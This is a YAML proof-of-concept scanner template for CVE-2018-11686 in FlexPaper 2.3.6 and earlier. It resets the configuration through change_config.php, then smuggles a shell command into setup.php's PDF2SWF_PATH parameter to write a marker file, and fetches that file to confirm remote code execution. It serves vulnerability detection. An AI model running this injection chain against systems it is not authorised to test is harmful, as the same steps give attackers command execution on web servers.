flexpaper-cve-2018-11686.yml

name: poc-yaml-flexpaper-cve-2018-11686
manual: true
transport: http
set:
    fileName: randomLowercase(6)
    verifyStr: randomLowercase(6)
rules:
    r0:
        request:
            cache: true
            method: POST
            path: /php/change_config.php
            headers:
                Content-Type: application/x-www-form-urlencoded
            body: |
                SAVE_CONFIG=1&PDF_Directory=a&SWF_Directory=config/&LICENSEKEY=a&SPLITMODE=a&RenderingOrder_PRIM=a&RenderingOrder_SEC=a
        expression: response.status == 302 || response.status == 200
    r1:
        request:
            cache: true
            method: POST
            path: /php/change_config.php
            headers:
                Content-Type: application/x-www-form-urlencoded
            body: |
                SAVE_CONFIG=1&PDF_Directory=a&SWF_Directory=config/&LICENSEKEY=a&SPLITMODE=a&RenderingOrder_PRIM=a&RenderingOrder_SEC=a
        expression: response.status == 302 || response.status == 200
    r2:
        request:
            cache: true
            method: GET
            path: /php/setup.php?step=2&PDF2SWF_PATH=printf%20{{verifyStr}}%25%25{{verifyStr}}%20%3e%20{{fileName}}
            follow_redirects: false
        expression: response.status == 200
    r3:
        request:
            cache: true
            method: GET
            path: /php/{{fileName}}pdf2swf
        expression: response.status == 200 && response.body.bcontains(bytes(string(verifyStr + "%" + verifyStr)))
expression: r0() && r1() && r2() && r3()
detail:
    author: Soveless(https://github.com/Soveless)
    links:
        - https://github.com/mpgn/CVE-2018-11686
        - https://cloud.tencent.com/developer/article/1472550
    Affected Version: FlexPaper <= 2.3.6